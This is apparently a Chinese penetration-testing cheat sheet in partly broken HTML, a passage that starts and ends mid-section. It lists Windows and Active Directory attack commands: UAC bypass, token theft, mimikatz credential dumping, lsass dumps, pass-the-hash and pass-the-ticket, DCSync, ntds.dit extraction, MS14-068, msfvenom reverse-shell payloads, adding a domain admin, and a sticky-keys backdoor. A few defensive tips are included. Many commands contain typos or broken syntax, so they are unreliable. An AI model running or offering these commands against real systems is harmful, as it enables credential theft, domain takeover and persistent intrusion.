wmic service get name,displayname,pathname,startmode | findstr /i &quot;Auto&quot; | findstr /i /v    &quot;&quot;&quot;<br />
&lt;/p&gt;&lt;/li&gt;<br />
&lt;/ul&gt;</p>
<p>&lt;pre&gt;&lt;code class=&quot;&quot;&gt;&lt;br /&gt;- 检测是否有可写权限</p>
<p>&lt;/code&gt;&lt;/pre&gt;</p>
<p>&lt;p&gt;icacls</p>
<p>everyone 完全控制权限（所有用户都有修改这个文件的权限）<br />
M 修改<br />
F 完全控制<br />
CI 丛属容器将继承访问控制项<br />
OI 从属文件将继承访问控制项</p>
<p>&lt;pre&gt;&lt;code class=&quot;&quot;&gt;&lt;br /&gt;- 重启服务</p>
<p>&lt;/code&gt;&lt;/pre&gt;</p>
<p>恶意文件重命名上传</p>
<p>sc stop service_name<br />
sc start service_name</p>
<p>&lt;pre&gt;&lt;code class=&quot;&quot;&gt;&lt;br /&gt;- MSF模块</p>
<p>&lt;/code&gt;&lt;/pre&gt;</p>
<p>exploit/windows/local/trusted_service_path</p>
<p>set AutoRunScript migrate -f 自动迁移</p>
<p>&lt;pre&gt;&lt;code class=&quot;&quot;&gt;&lt;br /&gt;#### 自动安装配置文件</p>
<p>&gt;可能包含用户名密码</p>
<p>&#8211; 搜索配置文件</p>
<p>&lt;/code&gt;&lt;/pre&gt;</p>
<p>dir /b /s c:\Unattend.xml</p>
<p>&#8220;`</p>
<pre><code class="">msf
post/windows/gather/enum_unattend
</code></pre>
<h4>计划任务</h4>
<ul>
<li>查看计划任务</li>
</ul>
<pre><code class="">schtasks /query /fo LIST /v
</code></pre>
<ul>
<li>AccessChk</li>
</ul>
<pre><code class="">http://technet.microsoft.com/ZH-cn/sysinternals/bb664922
</code></pre>
<pre><code class="">accesschk “username” c:\windows\system32
查看username用户对c:\windows\system32目录的操作权限

找出某个驱动器下所有权限配置有缺陷的文件夹路径
accesschk.exe–uwdqsUsersc:
accesschk.exe–uwdqs"AuthenticatedUsers"c:

找出某个驱动器下所有权限配置有缺陷的文件路径
accesschk.exe–uwqsUsersc:*.*
accesschk.exe–uwqs"AuthenticatedUsers"c:*.*

accesschk.exe -uwcqv "Power Users" *  获取可以操作的服务名称信息
sc qc kdc查询kdc服务详细信息

查看某个服务的权限设置
accesschk -cv [service name]
</code></pre>
<h4>Empire</h4>
<blockquote><p>
  查找系统中的漏洞
</p></blockquote>
<pre><code class="">usemoudle privesc/powerup/allchecks
excute
</code></pre>
<h3>组策略首选项提权</h3>
<ul>
<li>SYSVOL</li>
</ul>
<pre><code class="">用来存放登陆脚本、组策略数据以及其他域控制器需要的域信息等

C:\Windows\SYSVOL\DOMAIN\Policics
</code></pre>
<ul>
<li>常见组策略首选项（GPP）</li>
</ul>
<pre><code class="">映射驱动器（Drivers.xml）
创建本地用户
数据源（DataSources.xml）
打印机配置（Printers.xml）
创建/更新服务（Services.xml）
计划任务(ScheduledTasks.xml)
</code></pre>
<h4>组策略首选项提权</h4>
<ul>
<li>创建组策略</li>
</ul>
<pre><code class="">手动更新组策略
gpupdate
</code></pre>
<h5>获取组策略凭据</h5>
<ul>
<li>手动查找cpassword</li>
</ul>
<pre><code class="">type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00c04FB984F9}\MACHINE\Perferences\Group\Groups.xml

解密
python gpprefdecryp.pt 密文
</code></pre>
<ul>
<li>使用PowerShell获取cpassword</li>
</ul>
<pre><code class="">Get-GPPPassword.ps1
</code></pre>
<ul>
<li>Metasploit</li>
</ul>
<pre><code class="">post/windows/gather/credentials/gpp
</code></pre>
<ul>
<li>Empire</li>
</ul>
<pre><code class="">usemoudle privsec/gpp
</code></pre>
<h3>BypassUAC（用户账户控制）</h3>
<ul>
<li>bypassuac模块</li>
</ul>
<pre><code class="">exploit/windows/local/bypassuac
</code></pre>
<ul>
<li>Runas模块</li>
</ul>
<pre><code class="">exploit/windows/local/ask 弹窗，点击反弹shell
</code></pre>
<ul>
<li>Nishang中的Invoke-PsUACme模块</li>
</ul>
<pre><code class="">Invoke-PsUACme -Verbose 使用sysprep方法并执行默认payload

Invoke-PsUACme -method oobe -Verbose 使用oobs方法并执行默认payload

Invoke-PsUACme -method oobe -payload "powershell -windiwstyle hidden -e YourEncodePayload" 使用-payload参数自行指定要执行的payload
</code></pre>
<ul>
<li>Empire bypassuac模块</li>
</ul>
<pre><code class="">1.usemoudle privesc/bypassuac
</code></pre>
<pre><code class="">2.bypassuac_wscript模块
只适用于win7
</code></pre>
<h3>令牌窃取</h3>
<ul>
<li>令牌分类</li>
</ul>
<pre><code class="">Delegation Tokens 授权令牌 支持交互
Impersonation Tokens 非交互式
</code></pre>
<ul>
<li>令牌窃取</li>
</ul>
<blockquote><p>
  拥有meterpreter shell
</p></blockquote>
<pre><code class="">use incognito
list-tokens -u 列出可用令牌
impersonate_token 主机名\\用户名 假冒用户
</code></pre>
<ul>
<li>Rotten Potato(快速模拟令牌)</li>
</ul>
<pre><code class="">https://github.com/foxglovesec/RottenPotato.git
</code></pre>
<pre><code class="">use incognito
list-tokens -u 列出可用令牌
upload exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM" 
</code></pre>
<h3>添加域管理员</h3>
<ul>
<li>cmd</li>
</ul>
<pre><code class="">net user shuteer abc123 /ad /domain
net group "domain admins shuteer /ad /domain"
net group "domain_admins" /domain
</code></pre>
<ul>
<li>meterpreter</li>
</ul>
<pre><code class="">add_user shuteer abc123 -h 1.1.1.2
add_group_user "Domain Admins" shuteer -h 1.1.1.2
</code></pre>
<h4>Empire下的令牌窃取</h4>
<p>1.creds</p>
<ul>
<li>查看密码</li>
</ul>
<pre><code class="">creds 查看列出来的密码
</code></pre>
<ul>
<li>窃取令牌</li>
</ul>
<pre><code class="">pth ID (ID为credID)
</code></pre>
<ul>
<li>查看当前进程是否有域用户进程窃取</li>
</ul>
<pre><code class="">ps 查看进程
steal_token  12004 获取令牌
revtoself 恢复令牌权限
</code></pre>
<h3>无凭证条件下的权限获取</h3>
<ul>
<li>Responder</li>
</ul>
<pre><code class="">https://github.com/SpiderLabs/Responder.git
</code></pre>
<h2>域内横向移动分析及防御</h2>
<h3>常用windows远程连接和相关命令</h3>
<h4>IPC</h4>
<ul>
<li>建立ipc连接</li>
</ul>
<pre><code class="">net use \\192.168.100.190\ipc$ "Aa123456@" /user:administrator
</code></pre>
<ul>
<li>ipc$利用条件</li>
</ul>
<pre><code class="">（1）开启了135、445端口
（2）管理员开启了默认共享
</code></pre>
<ul>
<li>ipc$失败原因</li>
</ul>
<pre><code class="">（1）用户名密码错误
（2）目标没有打开ipc$默认共享
（3）不能连接135、445端口
（4）命令输入错误
</code></pre>
<h4>使用windows自带工具获取远程主机信息</h4>
<ul>
<li>dir命令</li>
</ul>
<pre><code class="">dir
</code></pre>
<ul>
<li>tasklist</li>
</ul>
<pre><code class="">tsklist 列出进程
</code></pre>
<h4>计划任务</h4>
<ul>
<li>at(08之前)</li>
</ul>
<pre><code class="">1.net time \\192.168.100.190
2.copy calc.bat \\192.168.100.190\c$
3.at \\192.168.100.190 4:11pm c:\calc.bat
4.at \\192.168.100.190 7 /delete

执行命令

at \\192.168.100.190 4:41pm cmd.exe \c "ipconfig&gt;c:/1.txt"
type \\192.168.100.190\c$\1.txt
</code></pre>
<ul>
<li>schtasks（08之后）</li>
</ul>
<pre><code class="">schtasks /create /s 192.168.100.190 /tn /test /sc onstat /tr c:\calc.bat /ru system /f 创建计划任务（test 计划任务名字 启动权限为system）

schtasks /run /s 192.168.100.190 / i /tn "test" 运行计划任务

schtasks /delect /s 192.168.100.190 /tn "test" /F 删除计划任务

net use 名称 /del /y 删除ipc$
</code></pre>
<h3>windows系统散列值获取</h3>
<h4>单机密码抓取</h4>
<ul>
<li>GetPass</li>
<li>PwDump7</li>
<li>QuarksPwDump</li>
</ul>
<pre><code class="">QuarksPwDump.exe --dump-hash-local
</code></pre>
<h5>通过SAM和system文件抓取密码</h5>
<ul>
<li>导出SAM和System文件</li>
</ul>
<pre><code class="">reg save hklm\sam sam.hive
reg save hklm\system system.hive
</code></pre>
<ul>
<li>读取SAM和system文件获得NTLM Hash</li>
</ul>
<pre><code class="">mimikatz
lsadump::sam /sam:sam.hive /system:system hive
</code></pre>
<ul>
<li>mimikatzz直接读取本地SAM</li>
</ul>
<pre><code class="">privilege::debug
lsadump::sam
</code></pre>
<h5>使用mimikatz在线读取SAM文件</h5>
<pre><code class="">mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
</code></pre>
<h5>使用mimikatz离线读取lsass.dmp文件</h5>
<ul>
<li>导出lsass.dmp文件</li>
</ul>
<pre><code class="">procdump.exe -accepteula -ma lsass.exe lsass.dmp
</code></pre>
<ul>
<li>mimikatz导出散列值</li>
</ul>
<pre><code class="">sekurlsa::minidump lsass.DMP 加载文件
sekurlsa::logonPasswords full 导出密码散列
</code></pre>
<h5>Powershell</h5>
<ul>
<li>Nishang Get-PassHashes.ps1</li>
</ul>
<pre><code class="">Import-Moudle .\Get-PassHashes.ps1
GetPassHashs
</code></pre>
<ul>
<li>powershell远程加载mimikatz获取散列值</li>
</ul>
<h4>使用Hashcat获取密码</h4>
<ul>
<li>下载</li>
</ul>
<pre><code class="">make
make install
./hashcat -h
</code></pre>
<ul>
<li>Hashcats使用</li>
</ul>
<pre><code class="">hashcat -b 测试当前机器基准速度
-m 指定散列值
-a number 破解模式

hashcat -a 0 -m xx &lt;hashfile&gt; &lt;zidian&gt; &lt;zidian2&gt;
</code></pre>
<ul>
<li>破解Windows散列值</li>
</ul>
<pre><code class="">hashcat -m 1000 -a 0 -o winpassok.txt win.hash password.lst --username
</code></pre>
<ul>
<li>破解 WIFI握手包</li>
</ul>
<pre><code class="">aircrack-ng &lt;out.cap&gt; -J &lt;out.hccap&gt;
hashcat -m 2500 out.hccap dict.txt
</code></pre>
<h4>防御攻击者抓取明文密码</h4>
<ul>
<li>设置Active Directory 2012 R2功能级别</li>
</ul>
<pre><code class="">Protected User 添加&lt;-组
</code></pre>
<ul>
<li>安装KB2871997</li>
</ul>
<pre><code class="">安装补丁
禁用Administrator账号
</code></pre>
<ul>
<li>修改注册表</li>
</ul>
<pre><code class="">reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0  修改

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential 查询
</code></pre>
<ul>
<li>防止mimikatz抓密码</li>
</ul>
<pre><code class="">删除拥有debug权限的本地管理员从Administrator组中
</code></pre>
<h3>哈希传递攻击</h3>
<ul>
<li>哈希传递攻击</li>
</ul>
<pre><code class="">mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:D(Fxxxxxx"
</code></pre>
<ul>
<li>使用AES-256哈希传递</li>
</ul>
<pre><code class="">(1)抓取AES-256密钥
mimikatz "privilege::debug" "sekurlsa::ekeys"

(2)哈希传递
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /aes256:2381fXXXX"
</code></pre>
<ul>
<li>票据传递攻击</li>
</ul>
<pre><code class="">mimikatz
(1)导出票据
mimikatz "privilege::debug" "sekurlsa::tickets /export"
kerberos::purge 清除票据
mimikatz "kerberos::ptt "c:\ticket.kirbi" 注入票据
</code></pre>
<pre><code class="">kekeo票据传递

https://github.com/gentilkiwi/kekeo

kekeo "tgt:ask /user:administrator /domain:pentest.com /ntlm:D9F9xxxx" 生成票据
klist purge 清除票据
kerberos::ptt TGT_administrator@PENTST&gt;COM_krbtgt.com@PENTEST.COM&gt;kirbi
</code></pre>
<h3>PsExec使用</h3>
<h4>psTools</h4>
<pre><code class="">https://download.sysinternals.com/files/PSTools.zip
</code></pre>
<ul>
<li>Sysyem权限的shell(-s)</li>
</ul>
<pre><code class="">PsExec.exe -accepteula \\192.xxx.xxx.xxx -s cmd.exe
</code></pre>
<ul>
<li>Administrator权限的</li>
</ul>
<pre><code class="">Psexec.exe -accepteula \\192.xxx.xxx.xxx cmd.exe 
</code></pre>
<ul>
<li>账号密码远程连接</li>
</ul>
<pre><code class="">psexec \\192.xxx.xxx.xxx -u administrator -p Aa123456 cmd.exe
</code></pre>
<h4>metasploit中的psexec</h4>
<pre><code class="">exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)
</code></pre>
<h3>WMI使用</h3>
<ul>
<li>基本命令</li>
</ul>
<pre><code class="">wmic /node:192.168.100.190 /user:administrator /password:Aa123456 process call create "cmd.exe /c ipconfig &gt;ip.txt"

type \\192.xxx.xxx.xx\c$\ip.txt
</code></pre>
<ul>
<li>impacket中的wmiexec</li>
</ul>
<pre><code class="">wmiexec.py administrator:Aa123@192.xxx.xxx
</code></pre>
<ul>
<li>wmiexec.vbs</li>
</ul>
<pre><code class="">cscript.exe //noiogo wmiexec.vbs /shell 192.xxx.xxx.xxx administrator Aa123456@ 半交互shell

cscript.exe wmiexec.vbs /cmd 192.xxx administrator Aa123456 "ipconfig"

-wait 5000 ping/systeminfo等时间较长的命令

-persist nc等不需要结果但需要运行的程序
</code></pre>
<ul>
<li>Invoke-WmiCommand(powerSploit工具包)</li>
</ul>
<pre><code class="">$user= "pentest\administrator"
$password = ConvertTo-SecureString -String "a123456" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PsCredential
远程执行命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $cred - CompuerName 192.xxxx
将执行结果输出到屏幕
$Remote.PayloadOutput
</code></pre>
<ul>
<li>Invoke-WMIMethod(powershell自带)</li>
</ul>
<pre><code class="">$user= "pentest\administrator"
$password = ConvertTo-SecureString -String "a123456" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PsCredential
远程启动计算器
Invoke-WMIMethod -Class win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.xxx.xx.xxx" -Credential $cred
</code></pre>
<h3>永恒之蓝</h3>
<pre><code class="">auxiliary/scanner/smb/smb_ms17_010
</code></pre>
<h3>smbexec使用</h3>
<h4>C++版smbexec</h4>
<ul>
<li>下载地址</li>
</ul>
<pre><code class="">https://github.com/sunorr/smbexec
</code></pre>
<ul>
<li>使用</li>
</ul>
<pre><code class="">test.exe ipaddress username password command netshare
</code></pre>
<pre><code class="">(1)上传execserver
net use \\192.xxxx "Aa123" /user:pentest\adminidtrator

cpoy execserver.exe \\192.xxx\c$\windows\

(2)客户端执行命令
test.exe 192.xxx.xxx.xxx administrator Aa123456 whoami c$
</code></pre>
<h4>impacket工具包中的smbexec.py</h4>
<pre><code class="">smbexec.py
smbexec.py pentest/administrator:Aa123456@192.168.xxx.xxx
</code></pre>
<h4>Linux跨windows远程执行命令</h4>
<ul>
<li>下载地址</li>
</ul>
<pre><code class="">https://github.com/brav0hax/smbexec
</code></pre>
<h3>DCOM在远程系统中的使用(分布式组件对象模型)</h3>
<h4>本地DCOM执行命令</h4>
<ul>
<li>获取DCOM程序列表</li>
</ul>
<pre><code class="">Get-CimInstance Win32_DCOMApplication win12以上

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication win7、08
</code></pre>
<ul>
<li>使用DCOM执行任意命令</li>
</ul>
<pre><code class="">本地启动计算器
$com = [activator]::CreateINstance([type]::GetTypeFromProgiD("MMC20.Application",'127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
</code></pre>
<ul>
<li>远程机器执行命令</li>
</ul>
<pre><code class="">net use \\192.168.100.205 "a123456" /user:pentest.com\syst1m

$com = [activator]::CreateINstance([type]::GetTypeFromProgiD("MMC20.Application",'127.0.0.1"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

</code></pre>
<h3>SPN</h3>
<h4>SPN扫描</h4>
<ul>
<li>SPN</li>
</ul>
<pre><code class="">spn = serviceclass "/" hostname [":"port] ["/" servicename]

MSSQLSvc/computer1.pentest.com:1433
exchageMDB/EXCAS01.pentest.com Exchange服务
TERMSERV /EXAS.pentest.com rdp
WSMAN/ExCAS01.pentest.com
</code></pre>
<ul>
<li>PowerShell-Ad-Recon工具包</li>
</ul>
<pre><code class="">https://github.com/PyroTek3/PowerShell-AD-Recon

所有spn服务扫描
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSInterestingServices

Import-Moudle .\Discover-PSInterestingServices
Discover-PSIntingService
</code></pre>
<ul>
<li>Windows自带</li>
</ul>
<pre><code class="">setspn -T domain -q */*
</code></pre>
<h4>Kerberoast</h4>
<ul>
<li>手动注册SPN</li>
</ul>
<pre><code class="">setspn -A MSSQLSvc/computer1.pentest.com:1433 mssql
</code></pre>
<ul>
<li>查看用户所对应的SPN</li>
</ul>
<pre><code class="">setspn -L pentest.com\mssql
</code></pre>
<ul>
<li>查看所有注册的SPN</li>
</ul>
<pre><code class="">setspn -T domain -q */*
</code></pre>
<ul>
<li>adsiedit.msc查看用户spn以及其他高级属性</p>
</li>
<li>
<p>配置指定服务的登陆权限</p>
</li>
</ul>
<pre><code class="">gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Pights Assignment\Log on as a service
</code></pre>
<ul>
<li>修改加密类型</li>
</ul>
<pre><code class="">gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security; Configure encryption types allowed
</code></pre>
<ul>
<li>请求SPN Kerberos票据</li>
</ul>
<pre><code class="">Add-Type -AssmblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken-ArgumentList "MSSQLSvc/computer1.pentest.com"
</code></pre>
<ul>
<li>导出票据</li>
</ul>
<pre><code class="">kerberos::list /export
</code></pre>
<ul>
<li>破解hash</li>
</ul>
<pre><code class="">https://github.com/nidem/kerberoast

python tgsrepcrack.py wordlist.txt mssql.kirbi
</code></pre>
<h3>Exchange邮件服务器</h3>
<ul>
<li>Exchange邮件服务器</li>
</ul>
<pre><code class="">邮箱服务器（Mailbox Server）
托管邮箱、公共文件夹及相关消息数据

客户端访问服务器（Client Acess Server）
接收处理不同客户端请求

集线传输服务器（Hub Transport Server）
进出站规则、处理邮件正确分发，确保地址正确解析

统一消息服务器（Unified Messagine Server）
允许用户通过邮件发送存储语音和传真

边缘传输服务器（Edge Transport Server）
路由发往内/外部的邮件、反垃圾邮件、反病毒策略
</code></pre>
<ul>
<li>访问接口</li>
</ul>
<pre><code class="">OWa(web邮箱)
domain/owa/

EAC（echange管理中心）
http://domain/ecp/

Outlook Anywhere
MAPI
Exchange ActiveSyne
Exchange Web Service
</code></pre>
<h4>Exchange服务发现</h4>
<ul>
<li>基于端口扫描</li>
</ul>
<pre><code class="">nmap -A -O -av 192.168.100.190
</code></pre>
<ul>
<li>SPN查询</li>
</ul>
<pre><code class="">setspn -T pentest.com -F -Q */*
</code></pre>
<h4>Exchange基本操作</h4>
<ul>
<li>查看邮件数据库</li>
</ul>
<pre><code class="">powershell
add-pssnapin microsoft.exchange* 添加exchange管理单元
Get-MailboxDatabase -server "Exchange"

查询指定数据库
Get-MailboxDatabase -Identity 'Mailbox Database 1894576043' | Format-List Name,EdbFilePath,LogFolderPath
</code></pre>
<ul>
<li>获取现有用户的邮件地址</li>
</ul>
<pre><code class="">Get-Mailbox | format-tables Name,WindowsEmailAddress
</code></pre>
<ul>
<li>查看指定用户的邮箱使用信息</li>
</ul>
<pre><code class="">get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotailItemSize,LastLogonTime
</code></pre>
<ul>
<li>获取用户邮箱中的邮件数量以及最后登陆时间</li>
</ul>
<pre><code class="">Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descend
</code></pre>
<h4>导出指定的电子邮件</h4>
<blockquote>
<p>后缀为pst
</p></blockquote>
<ul>
<li>配置用户的导入/导出权限</li>
</ul>
<pre><code class="">(1)查看用户权限
Get-ManagementRoleAssignment -role "Mailbox import Export" | Format-List RoleAssigneeName

(2)添加权限
New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox import Export"

(3)删除权限
Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
</code></pre>
<ul>
<li>设置网络共享文件夹</li>
</ul>
<pre><code class="">UNC(通用命名规范)
ner share inetpub=c:\inetpub /grant:everyone,full
</code></pre>
<ul>
<li>导出用户电子邮件</li>
</ul>
<pre><code class="">(1)powershell导出
New-MailboxExportRequest -Mailbox administrator -FilePath \\192.xxx.xxx.xxx\inetpub\administrator.pst
(2)图形化导出
192.168.100.194\ccp
</code></pre>
<ul>
<li>管理导出请求</li>
</ul>
<pre><code class="">(1)查看之前产生的导出请求记录
Get-MailboxExportRequest

(2)将指定用户已完成导出请求删除
Remove-MailboxExportRequest -Identity Administrtor\mailboxexport

(3)删除所有导出记录
Get-MailboxExportRequest -Status Completed Remove-MailboxExportRequest
</code></pre>
<h2>域控制器安全</h2>
<h3>使用卷影拷贝服务器提取ntds.dit</h3>
<ul>
<li>ntds.dit</li>
</ul>
<pre><code class="">存储用户名、散列值、组、GPP、Ou等数据库
</code></pre>
<ul>
<li>通过ntdsutil.exe提取ntds.dit</li>
</ul>
<pre><code class="">为活动目录提供管理机制的命令行工具
适用于03、08、12
</code></pre>
<pre><code class="">(1)创建快照
ntdsutil snapshot "activate instance ntda" create quit quit

(2)加载快照
ntdsutil snapshot" mount {GUID} "quit quit

(3)复制快照到本地
copy c:\$xxx\ntds.dit c:\temp\ntds.dit

(4)删除之前加载的快照
ntdsutil snapshot "unmount {GUID}" "delect {GID}" quit quit

(5)查看快照
ntdsutil snapshot "List All" quit quit
</code></pre>
<ul>
<li>利用vssadmin提取ntds.dit</li>
</ul>
<pre><code class="">创建和删除卷影拷贝、列出卷影拷贝信息
适用于08、win7
</code></pre>
<pre><code class="">创建c盘卷影拷贝
vssadmin create shadow /for=c:

复制卷影拷贝
copy ntds.dit c:\ntds.dit

删除快照
vssadmin delect shadow /for=c: /quiet
</code></pre>
<ul>
<li>利用vssown.vbs提取</li>
</ul>
<pre><code class="">下载地址
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
</code></pre>
<pre><code class="">cscript vssown.vbs /start 启动
cscript vssown.vbs /create c 创建
cscript vssown.vbs /list 列出
cscript vssown.vbs /delect
</code></pre>
<ul>
<li>使用ntdsutil的IFM(媒体创建)创建卷影拷贝</li>
</ul>
<pre><code class="">Nishang Copy-VSS.ps1 脚本
import-moudle .\Copy-VSS.ps1
Copy-vss
</code></pre>
<ul>
<li>使用diskshadow导出ntds.dit(必须在c:\windows\system32中操作)</li>
</ul>
<pre><code class="">diskshadow.exe /? 查看帮助
将需要执行的命令导入command.txt文件
diskshadow.exe /s c:\command.txt 执行命令
</code></pre>
<pre><code class="">导出ntds.dit的txt

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到c盘
exec "cmd.exe" /c copy k:\windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delect shadow all 
//列出系统中的卷影拷贝
list shadow all
//重置
reset
//退出
exit

diskshadow /s c:\command.txt

导出system.hive
reg save hkim\system c:\windows\temp\system.hive
</code></pre>
<ul>
<li>监控卷影拷贝服务的使用情况</li>
</ul>
<pre><code class="">system event id 7036
</code></pre>
<h3>导出ntds.dit 中的散列值</h3>
<h4>使用esedbexport 恢复ntds.dit</h4>
<ul>
<li>下载地址</li>
</ul>
<pre><code class="">https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar
</code></pre>
<ul>
<li>导出netd.dit</li>
</ul>
<pre><code class=""> apt-get install autoconf automake autopoint libtool pkg-config
 ./configure
 make
 sudo make install 
 sudo ldconfig

 /usr/local/bin
</code></pre>
<ul>
<li>使用</li>
</ul>
<pre><code class="">esedbexport -m tables ntds.dit 提取表信息
</code></pre>
<ul>
<li>导出散列值</li>
</ul>
<pre><code class="">下载ntdsxtract
https://github.com/csababarta/ntdsxtract.git

python setup.py build &amp;&amp; python setup.py install 安装ntdsxtract

将netds.dit.export 和sustem文件夹放入ntdsxtract文件夹
dsuser.py ntds.dit.export/database.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt 将所有散列值导出到all_user.txt

dscomputers.py ntds.dit.export/database.3 computer_output --csvoutfile all_computers.csv 导出域内所有计算机的信息 
</code></pre>
<h4>impacket工具包导出散列值(secretsdump)</h4>
<pre><code class="">https://github.com/csababarta/ntdsxtract.git

python setup.py install

impacket-secretsdump -system SYSTEM -ntds ntds.dll LOCAL 导出所有散列值

impacket-secretsdump
-hashs aad3bxxxxx
-just-dc pentest.com/administrator@192.168.100.205 从远程域控制器中读取散列值
</code></pre>
<ul>
<li>在windows下解析ntds.dit 导出域账号和散列值</li>
</ul>
<pre><code class="">https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

NTDSDumpEx.exe -d ntds.dit -s system
</code></pre>
<h3>利用dcsync获取域散列值</h3>
<ul>
<li>使用mimikatz转储域散列值(域管)</li>
</ul>
<pre><code class="">lsadump::dcsync /domain:pentest.com /all /csv 所有用户名的散列值

lsadump::dcsync /domain:pentest.com /user:syst1m
导出指定用户的散列值

privilege::debug
lsadump::lsa /inject 域控上转储lsass.exe dump散列值
</code></pre>
<ul>
<li>使用dcsync获取域账户和域散列值</li>
</ul>
<pre><code class="">https://gist.github.com/monoxgas/9d238accd969550136db

Invoke-DCSync -PWDumpFormat
</code></pre>
<h3>使用measploit获取域散列值</h3>
<ul>
<li>osexec_ntdsgrab</li>
</ul>
<pre><code class="">use auxiliary/admin/smb/psexec_ntdsgeab
RHOST、SMBDOMAIN、SMBUser、SMBPass参数
</code></pre>
<ul>
<li>基于meterprter会话获取域账号和散列值</li>
</ul>
<pre><code class="">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.xxx.xxx.xxx LPORT = 5555 -f exe &gt; s.exe

use windows/gather/credentials/domain_hashdump
</code></pre>
<h3>使用vshadow.exe和QuarksPwDump.exe导出域账号和散列值</h3>
<ul>
<li>下载地址</li>
</ul>
<pre><code class="">https://github.com/quarkslab/quarkspwdump

ShadowCopy.vbs

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

esentutl /p /o ntds.dit 修复复制出来的ntds.dit

vshadows.exe 
</code></pre>
<h3>Kerberos域用户提权</h3>
<h4>PyKEK工具包</h4>
<ul>
<li>下载地址</li>
</ul>
<pre><code class="">https://github.com/mubix/pykek
</code></pre>
<ul>
<li>工具</li>
</ul>
<pre><code class="">-u 用户名@域名
-s  用户sid
-d 域控制器地址
-p 明文密码
--rc4 在没明文密码情况下，通过NTLM Hash登陆
</code></pre>
<ul>
<li>使用</li>
</ul>
<pre><code class="">wmic qfe get botfixid 查看补丁情况
whoami /user 查看用户SID
wmic useraccount get name,sid 获取域内所有用户的SID

ms14-068.exe -u 域成员名@域名 -s SID -d 域控制器地址 -p 域成员密码

清除票据
kerberos::purge

kerberos::ptc "TGT_user1@pentest.com.cache" 注入票据
</code></pre>
<h4>goldenPac.py</h4>
<ul>
<li>命令格式</li>
</ul>
<pre><code class="">python goldenPac.py 域名/域成员用户:密码@域控制器地址
</code></pre>
<ul>
<li>安装kerberos客户端</li>
</ul>
<pre><code class="">apt-get install krb5-user y
</code></pre>
<h4>Metasploit</h4>
<ul>
<li>利用脚本</li>
</ul>
<pre><code class="">use auaxiliary/admin/kerberos/ms14_068_kerberos_checksum
</code></pre>
<ul>
<li>格式转换，导出kirbi格式文件</li>
</ul>
<pre><code class="">kerberos::clist "a.bin" /export
</code></pre>
<ul>
<li>生成反向shell</li>
</ul>
<pre><code class="">msfvenom -p windows/meterpreter/reverse_tcp LHOST LPORT -f exe &amp;gt;shell.exe
</code></pre>
<ul>
<li>票据注入</li>
</ul>
<pre><code class="">use exploit/mulit/reverse_tcp

load wiki
kerberos_ticket_use a.kirbi
</code></pre>
<ul>
<li>高权限票据测试</li>
</ul>
<pre><code class="">use/exploit/windows/local/current_user_psexec
</code></pre>
<h2>权限维持及防御</h2>
<h3>操作系统后门</h3>
<h4>粘滞键后门</h4>
<ul>
<li>替换</li>
</ul>
<pre><code class="">cd windows\system32
Move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
</code></pre>
<ul>
<li>Empire</li>
</ul>
<pre><code class="">usemoudle lateral_movement/invoke_wmi_debuggerinfo

set List shuteet
set ComputerName WIN7-64.shuteer.testlab
set TargetBinary sethc.exe
execute
</code></pre>
<h4>注册表注入后门</h4>
<ul>
<li>Empire</li>
</ul>
<pre><code class="">usemoudle persistence/userland/registry

set Listener shuteer
